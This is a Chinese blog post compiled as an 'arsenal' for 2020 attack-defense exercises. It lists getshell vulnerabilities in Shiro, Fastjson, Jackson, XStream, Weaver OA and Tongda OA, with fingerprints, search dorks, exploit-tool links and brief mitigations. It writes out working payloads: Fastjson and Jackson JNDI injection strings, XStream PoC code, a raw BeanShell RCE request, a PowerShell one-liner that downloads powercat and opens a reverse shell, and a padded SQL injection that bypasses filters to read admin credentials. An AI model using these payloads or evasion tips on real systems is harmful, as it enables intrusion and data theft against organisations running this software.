2020攻防演练弹药库-您有主机上线请注意

2020-04-24 15:28

Confluence (/?tag=confluence) cve (/?tag=cve) getshell (/?tag=getshell) Jackson (/?tag=jackson) rce (/?tag=rce) Shiro (/?tag=shiro) ThinkPHP5 (/?tag=thinkphp5) WebLogic (/?tag=weblogic) WebShell (/?tag=webshell) 反序列化 (/?tag=%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96) 攻防演练 (/?tag=%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83) 网络安全 (/?tag=%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8) 远程代码执行 (/?tag=%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c)

第一节

各小伙伴们, 安全界一年一度的激动人心的攻防演练盛况即将来临:) 这里给大家准备些弹药, 主要是近些年的可以进后台/getshell的漏洞, 漏洞太多难免疏漏.
基本都是常规操作加一点小技巧, 大部分漏洞均分析过或实践过, 如有错误欢迎【斧】正, 如有补充也欢迎评论留言.
另外, 有些漏洞没有找到外部公开信息, 考虑涉及相关法律法规, 不宜披露, 请见谅. 想深度交流的欢迎沟通.
由于本文长度接近四万字, 所以采取分篇连载.

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

1. 漏洞简介

Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用

2. 影响组件

Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

3. 漏洞指纹

set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 **rememberMe=deleteMe**, 直接发包即可

4. Fofa Dork

app="Apache-Shiro"

5. 漏洞分析

【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
https://paper.seebug.org/shiro-rememberme-1-2-4/ (https://paper.seebug.org/shiro-rememberme-1-2-4/)

6. 漏洞利用

wyzxxz/shiro_rce: shiro rce 反序列 命令执行 一键工具
https://github.com/wyzxxz/shiro_rce (https://github.com/wyzxxz/shiro_rce)

Apache Shiro回显poc改造计划
https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw (https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw)

7. 利用技巧

1.使用多个泄露的key进行遍历, 这个在实战中确实有效

关于Shiro反序列化漏洞的延伸－升级shiro也能被shell
https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw (https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw)

Shiro 100 Key
https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA (https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA)

2.使用 URLDNS 进行检测提速

使用适应性最强的URLDNS(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测

且可以使用ysoserial提前生成序列化内容

```
java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "http://1234567890.test.eye.io" > urldns.ser
```

然后使用占位符+目标url hash的方法修改序列化内容中的urldns地址

提高检测速度以及后续检测无需使用ysoserial

例如 1234567890.test.eye.io 可以换成 md5('www.qq.com').hexdigest()[:10].test.eye.io

也就是 9d2c68d82d.test.eye.io

可以预先记录 hash

```
9d2c68d82d www.qq.com
```

然后进行hash查表就可以知道是DNSLOG来自哪个目标, 性能会提高不少

3.已知目标使用了Shiro, 可以采取Shiro-721的报错逻辑来进行遍历key — 星光哥

这样即使DNS不能出网, 也可以通过是否返回 rememberMe=deleteMe 来断定 shiro key 的正确性, 前提是服务器有rememberMe=deleteMe相关回显

8. 防护方法

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

Apache Shiro Padding Oracle Attack (Shiro-721)

1. 漏洞简介

Apache Shiro 是企业常见的 Java安全框架, 由于Shiro使用AES-CBC模式进行加解密处理, 所以存在Padding Oracle Attack漏洞, 已经登录的攻击者同样可以进行反序列化操作

2. 影响组件

Apache Shiro < 1.4.2

3. 漏洞指纹

```
set-Cookie: rememberMe=deleteMe
```

URL中有shiro字样

有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

4. Fofa Dork

```
app="Apache-Shiro"
```

5. 漏洞分析

Shiro 721 Padding Oracle攻击漏洞分析 – 安全客, 安全资讯平台

https://www.anquanke.com/post/id/193165 (https://www.anquanke.com/post/id/193165)

Apache Shiro 远程代码执行漏洞复现 – OnionT's Blog

http://www.oniont.cn/index.php/archives/298.html (http://www.oniont.cn/index.php/archives/298.html)

6. 漏洞利用

wuppp/shiro_rce_exp: Shiro RCE (Padding Oracle Attack)

https://github.com/wuppp/shiro_rce_exp (https://github.com/wuppp/shiro_rce_exp)

7. 利用技巧

1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用

但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥

所以后续的利用还是可以同Shiro-550一样利用，而且这里是AES加密的，自带过WAF属性

2.如果攻击没有生效，可以试一下删除Cookie中的JSESSIONID字段，很多时候这个字段存在的话，服务端不会去处理 rememberMe

8. 防护方法

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

4.WAF拦截访问过于频繁的IP，因为该漏洞需要爆破Cookie

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

Apache Shiro 权限绕过漏洞 (Shiro-682)

1. 漏洞简介

Apache Shiro 是企业常见的Java安全框架，由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异，导致出现鉴权问题

2. 影响组件

Apache Shiro < 1.5.2

3. 漏洞指纹

set-Cookie: rememberMe=deleteMe

或者URL中有shiro字样

有一些时候服务器不会主动返回 **rememberMe=deleteMe**，直接发包即可

4. Fofa Dork

app="Apache-Shiro"

5. 漏洞分析

Shiro 权限绕过漏洞分析（CVE-2020-1957） – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/ (https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)

6. 漏洞利用

Shiro 权限绕过漏洞分析（CVE-2020-1957） – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/ (https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)

7. 利用技巧

1.url中间可以尝试添加 **../**，不限于这个漏洞，可能会有惊喜，错误的Nginx配置也会造成新的漏洞

关于url解析的问题可以参考以下链接

A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf (https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

Tomcat URL解析差异性导致的安全问题 – 先知社区
https://xz.aliyun.com/t/7544 (https://xz.aliyun.com/t/7544)

8. 防护方法

1.升级1.5.2版本及以上

2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式.

Fastjson 反序列化远程代码执行漏洞

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 系列漏洞汇总 (Shiro-721)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

1. 漏洞简介

Fastjosn 无疑是这两年的漏洞之王，一手反序列化RCE影响无数厂商，目前2.48以下版本稳定受影响，1.2.68以下版本开启Autotype会受到影响

(不排除传说中的1.2.67以下RCE漏洞，期待八仙过海)

2. 影响组件

Fastjson < 1.2.48 (<1.2.68?)

3. 漏洞指纹

可以通过DNS回显的方式检测后端是否使用Fastjson

```
{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0
```

可以通过DOS时间延迟或者报错回显的方式检测

无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/ (https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/)

fastjson < 1.2.66 版本最新漏洞分析
https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q (https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q)

4. Fofa Dork

5. 漏洞分析

Fastjson <=1.2.47 远程代码执行漏洞分析 – 安全客，安全资讯平台
https://www.anquanke.com/post/id/181874 (https://www.anquanke.com/post/id/181874)

6. 漏洞利用

1.JDK降级编译

CaijiOrz/fastjson-1.2.47-RCE: Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法
https://github.com/CaijiOrz/fastjson-1.2.47-RCE (https://github.com/CaijiOrz/fastjson-1.2.47-RCE)

源项目中最后一句

> 当javac版本和目标服务器差太多，会报一个这样得到错误，所以需要使用1.8的javac来编译Exploit.java

这里并不需要更换jdk版本，我们可以使用JDK降级编译的手法，这样1.8的jdk也可以编译出来1.7版本的.class，相信可以解决很多小伙伴的问题

```
javac -source 1.7 -target 1.7 Exploit.java
```

1.2.47版本以下通杀Poc:

```
{"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}}, age:11}
```

其中{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}也可以替换成其他利用链

2.优先使用LDAP协议

根据实战中经验，这里更推荐使用ldap协议进行漏洞利用，原因如下

> RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
> LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

所以,LDAP的利用方式要优于RMI, 且LDAP可以直接返回序列化对象, 绕过更高版本的JDK限制

如何绕过高版本JDK的限制进行JNDI注入 – FreeBuf专栏:安全引擎
https://www.freebuf.com/column/207439.html (https://www.freebuf.com/column/207439.html)

7. 利用技巧

1.如何查看服务器的jdk版本呢, 这里也有个小技巧

nc -lvvp 80#[marshalsec中指定的HTTP端口]

当服务器连接过来时, **User-Agent**中会标明当前服务器的JDK版本

2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上]

fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java (https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java)

```
public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
private final static ParserConfig defaultRedisConfig = new ParserConfig();
static { defaultRedisConfig.setAutoTypeSupport(true);}
```

其他消息队列之类的都是同理

8. 防护方法

1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
2.WAF拦截过滤请求包中的 **@type**, **%u0040%u0074%u0079%u0070%u0065**, **\u0040type**, **\x04type** 等多种编码的autotype变形

3.最少升级到1.2.48以上版本且关闭autotype选项

4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

Jackson 反序列化远程代码执行漏洞

1. 漏洞简介

Jackson 跟Fastjson一样, 当enableDefaultTyping开启时, 也是可以进行反序列化到代码执行

2. 影响组件

Jackson

3. 漏洞指纹

无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/ (https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/)

4. Fofa Dork

5. 漏洞分析

跟Fastjson漏洞原理都是一样的, 每次修复基本都是更新黑名单, 漏洞分析可以参考

Jackson-databind-2670远程代码执行漏洞简单分析 – 先知社区
https://xz.aliyun.com/t/7506 (https://xz.aliyun.com/t/7506)

6. 漏洞利用

learnjavabug/jackson/src/main/java/com/threedr3am/bug/jackson at master · threedr3am/learnjavabug
https://github.com/threedr3am/learnjavabug/tree/master/jackson/src/main/java/com/threedr3am/bug/jackson (https://github.com/threedr3am/learnjavabug/tree/master/jackson/src/main/java/com/threedr3am/bug/jackson)

POC

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://localhost:43658/Calc"}]

7. 利用技巧

1.把Fastjson的利用链拿过来改一改就可以用, 前提是环境中存在可用的利用链

8. 防护方法

1.升级Jackson到最新版(enableDefaultTyping默认都是关的, 问题不大)

2.确保enableDefaultTyping是关闭的

3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

Xstream 反序列化漏洞

1. 漏洞简介

Xstream Java 中经常用于处理 xml 的库, 最近一次修复中(1.4.10版本)重现了历史反序列化远程代码执行漏洞, 所以也需要关注

2. 影响组件

Xstream <1.4.6, =1.4.10

3. 漏洞指纹

xml

4. Fofa Dork

5. 漏洞分析

XStream反序列化组件攻击分析 | angelwhu_blog
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins￥ﾈ²□ﾔ (https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins￥ﾈ²□ﾔ)

6. 漏洞利用

```
import com.thoughtworks.xstream.XStream;
import java.io.IOException;

public class Main {
// POC1
    public static void main(String[] args) throws IOException{
        XStream xStream = new XStream();
        String payload = "<sorted-set>\n" +
                "    <string>foo</string>\n" +
                "    <dynamic-proxy>\n" +
                "    <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>cmd.exe</string>\n" +
                "                    <string>/c</string>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "     <action>start</action>"+
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>\n";
//POC2
//        String payload = "<java.util.PriorityQueue serialization=\"custom\">\n" +
//                "  <unserializable-parents/>\n" +
//                "  <java.util.PriorityQueue>\n" +
//                "    <default>\n" +
//                "      <size>2</size>\n" +
//                "      <comparator class=\"org.apache.commons.beanutils.BeanComparator\">\n" +
//                "        <property>databaseMetaData</property>\n" +
//                "        <comparator class=\"java.util.Collections$ReverseComparator\"/>\n" +
//                "      </comparator>\n" +
//                "    </default>\n" +
//                "    <int>3</int>\n" +
//                "    <com.sun.rowset.JdbcRowSetImpl serialization=\"custom\">\n" +
//                "      <javax.sql.rowset.BaseRowSet>\n" +
//                "        <default>\n" +
//                "          <concurrency>1008</concurrency>\n" +
//                "          <escapeProcessing>true</escapeProcessing>\n" +
//                "          <fetchDir>1000</fetchDir>\n" +
//                "          <fetchSize>0</fetchSize>\n" +
//                "          <isolation>2</isolation>\n" +
//                "          <maxFieldSize>0</maxFieldSize>\n" +
//                "          <maxRows>0</maxRows>\n" +
//                "          <queryTimeout>0</queryTimeout>\n" +
//                "          <readOnly>true</readOnly>\n" +
//                "          <rowSetType>1004</rowSetType>\n" +
//                "          <showDeleted>false</showDeleted>\n" +
//                "          <dataSource>ldap://ip:1389/Object</dataSource>\n" +
//                "          <params/>\n" +
//                "        </default>\n" +
//                "      </javax.sql.rowset.BaseRowSet>\n" +
//                "      <com.sun.rowset.JdbcRowSetImpl>\n" +
//                "        <default>\n" +
//                "          <iMatchColumns>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "            <int>-1</int>\n" +
//                "          </iMatchColumns>\n" +
//                "          <strMatchColumns>\n" +
//                "            <string>foo</string>\n" +
//                "            <null/>\n" +
//                "            <null/>\n" +
//                "            <null/>\n" +
//                "            <null/>\n" +
```

```
//              "          <null/>\n" +
//              "          <null/>\n" +
//              "          <null/>\n" +
//              "          <null/>\n" +
//              "          <null/>\n" +
//              "        </strMatchColumns>\n" +
//              "      </default>\n" +
//              "    </com.sun.rowset.JdbcRowSetImpl>\n" +
//              "    <com.sun.rowset.JdbcRowSetImpl reference=\"../com.sun.rowset.JdbcRowSetImpl\"/>\n" +
//              "  </java.util.PriorityQueue>\n" +
//              "</java.util.PriorityQueue>";
        xStream.fromXML(payload);
    }
}
```

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastison 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

7. 利用技巧

1.这里 **Xstream** 同样影响很多使用它的开源组件, 比如**Spring**系列

Maven Repository: com.thoughtworks.xstream » xstream » 1.4.10 (Usages)
https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream/1.4.10/usages (https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream/1.4.10/usages)

2.xml 不仅可以xxe, 还能反序列化代码执行

2.xxe 漏洞用 **xxer**, 方便快捷

TheTwitchy/xxer: A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
https://github.com/TheTwitchy/xxer (https://github.com/TheTwitchy/xxer)

8. 防护方法

1.升级到最新版

泛微OA Bsh 远程代码执行漏洞

1. 漏洞简介

2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重.

2. 影响组件

泛微OA

3. 漏洞指纹

Set-Cookie: ecology_JSessionId=

ecology

/weaver/bsh.servlet.BshServlet

4. Fofa Dork

app="泛微-协同办公OA"

5. 漏洞分析

泛微OA E-cology远程代码执行漏洞原理分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/215218.html (https://www.freebuf.com/vuls/215218.html)

https://github.com/beanshell/beanshell (https://github.com/beanshell/beanshell)

http://beanshell.org/manual/quickstart.html#The_BeanShell_GUI (http://beanshell.org/manual/quickstart.html#The_BeanShell_GUI)

6. 漏洞利用

Vulnerability-analysis/0917/weaver-oa/CNVD-2019-32204 at master · myzing00/Vulnerability-analysis
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204 (https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204)

```
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: xxxxxxxx:8088
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
```


7. 利用技巧

1.其他形式绕过

eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");

2.泛微多数都是windows环境, 反弹shell可以使用pcat

powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd

8. 防护方法

1.及时更新泛微补丁

2.拦截/weaver/bsh.servlet.BshServlet目录的访问

泛微OA e-cology SQL注入漏洞

1. 漏洞简介

泛微OA 在国内的用户很多, 漏洞以前也很多, 但现在在漏洞盒子托管了企业SRC https://weaversrc.vulbox.com/ (https://weaversrc.vulbox.com/), 情况有所好转

2. 影响组件

泛微OA

3. 漏洞指纹

Set-Cookie: ecology_JSessionId=

ecology

WorkflowCenterTreeData

/mobile/plugin/SyncUserInfo.jsp

4. Fofa Dork

app="泛微-协同办公OA"

5. 漏洞分析

泛微OA WorkflowCenterTreeData接口注入漏洞(限oracle数据库) – 先知社区
https://xz.aliyun.com/t/6531 (https://xz.aliyun.com/t/6531)

6. 漏洞利用

泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现*数据库*小龙人-CSDN博客
https://blog.csdn.net/zycdn/article/details/102494037 (https://blog.csdn.net/zycdn/article/details/102494037)

Tentacle/ecology8_mobile_sql_inject.py at 6e1cecd52b10526c4851a26249339367101b3ca2 · orleven/Tentacle
https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py (https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py)

应用安全 – 软件漏洞 – 泛微OA漏洞汇总 – AdreamWillB – 博客园
https://www.cnblogs.com/AtesetEnginner/p/11558469.html (https://www.cnblogs.com/AtesetEnginner/p/11558469.html)

/mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述

7. 利用技巧

1.在这个漏洞补丁之前大概有几十个前台注入，都差不多，因为没公开这里就不细说了

2.泛微的补丁中间改过一次过滤策略，时完所有补丁的过，注入就很难了

3.这里可以绕过的原因是泛微某个过滤器初始化错误，当长度超过xssMaxLength=500的时候就不进入安全检测，修复以后是xssMaxLength=1000000，所以随便你填充%0a%0d还是空格都可以绕过注入检测

4.泛微后端数据库版本存在差异，但是可以通用检测

已知泛微OA E8存在2个版本的数据库，一个是mssql，一个是oracle，且新旧版本泛微的sql过滤方法并不一致

所以这里筛选出一个相对通用的检测手法(下面代码是python的，800 800个空格)

"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"

老版本可以在关键字后面加 /**/ 来绕过sql检测

新版本可以通过加入大量空格/换行来绕过sql检测

mssql, oracle中都有Hrmresourcemanager，这是管理员信息表

就Hrmresource表中没有用户，Hrmresourcemanager 表中也一定会存在sysadmin账户

所以进行union select的时候一定会有数据

这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5"

这里使用 <5 可以避免信息超过5条，但是会返回密码等敏感信息，不建议使用

8. 防护方法

1.及时更新泛微补丁
2.泛微最好不要开放到公网
3.使用waf拦击

泛微OA 数据库泄露漏洞

1. 漏洞简介

泛微OA 在国内的用户很多，漏洞以前也很多，但现在在漏洞盒子托管了企业SRC https://weaversrc.vulbox.com/ (https://weaversrc.vulbox.com/)，情况有所好转

2. 影响组件

泛微OA

3. 漏洞指纹

Set-Cookie: ecology_JSessionId=

ecology

/mobile/DBconfigReader.jsp

4. Fofa Dork

app="泛微-协同办公OA"

5. 漏洞分析

jas502n/DBconfigReader: 泛微ecology OA系统接口存在数据库配置信息泄露漏洞
https://github.com/jas502n/DBconfigReader (https://github.com/jas502n/DBconfigReader)

6. 漏洞利用

linbing/Weaver_Ecology_Oa_Config.py at master · taomujian/linbing
https://github.com/taomujian/linbing/blob/master/flask/app/plugins/Weaver%20Ecology%20OA/Weaver_Ecology_Oa_Config.py (https://github.com/taomujian/linbing/blob/master/flask/app/plugins/Weaver%20Ecology%20OA/Weaver_Ecology_Oa_Config.py)

7. 利用技巧

1.虽然是接口返回数据是加密的，但是因为硬编码密钥的缘故，解密也很简单，pydes就可以解密，只是这里pydes本身有个bug，修复方式 **pyDes.des('**

')

2.这里解密出来的密码一般都是泛微默认的，且数据库监听在127.0.0.1上，用处看个人发挥了

3.此外泛微还有一些漏洞，但是基本最新版都修复了，由于没公开过，就让他消失吧

8. 防护方法

1.及时更新泛微补丁

2.泛微最好不要开放到公网

3.使用waf拦截sql注入

通达OA 远程代码执行漏洞

1. 漏洞简介

通达OA 在国内的用户也比较多，虽说代码加了密，奈何是Zend5.4，解码很简单，然后代码中的漏洞就很清楚，尤其是变量覆盖和注入

2. 影响组件

通达OA

3. 漏洞指纹

"/images/tongda.ico">

Office Anywhere 20xx版 网络智能办公系统

/ispirit/interface/gateway.php

4. Fofa Dork

app="通达OA"

5. 漏洞分析

note/readme.md at c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86 · leezp/note
https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md (https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md)

代码审计 | 通达OA 任意用户登录漏洞（匿名RCE）分析 | zrools
https://www.zrools.org/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/ (https://www.zrools.org/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/)

6. 漏洞利用

note/readme.md at c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86 · leezp/note
https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md (https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md)

NS-Sp4ce/TongDaOA-Fake-User: 通达OA 任意用户登录漏洞
https://github.com/NS-Sp4ce/TongDaOA-Fake-User (https://github.com/NS-Sp4ce/TongDaOA-Fake-User)

tools/tongda_v11.4_rce_exp.py at master · zrools/tools 管理员伪造后sql写shell
https://github.com/zrools/tools/blob/master/python/tongda_v11.4_rce_exp.py (https://github.com/zrools/tools/blob/master/python/tongda_v11.4_rce_exp.py)

7. 利用技巧

1.这个漏洞也很简单，发预警的当天就分析出来了，一个上传，一个包含，主要是文件包含漏洞的/ispirit/interface/gateway.php文件在v11才有

绕过disable_function也很简单，直接调用**COM('WScript.shell')**组件就ok了

2.文件名结构规则如下

256@2003_ 2055499620|123. php.

对应文件名为

attach/im/2003/2055499620.123.php

因为是windows的, 1.php. 可以绕过黑名单, 写到文件就成了 1.php (~~这里是文件包含, 文件名无所谓~~)

3.2020年4月20号爆出任意用户伪造登录, 这里小伙伴测试 2017 和 v11 的 poc 好像可以用同一个

(我们看标题挖漏洞, 全网第一时间推送了带复现截图的漏洞通告, 也引发了大家不少讨论)

通达OA前台任意用户伪造登录漏洞

https://vas.riskivy.com/vuln-detail?id=33 (https://vas.riskivy.com/vuln-detail?id=33)

NS-Sp4ce/TongDaOA-Fake-User: 通达OA 任意用户登录漏洞

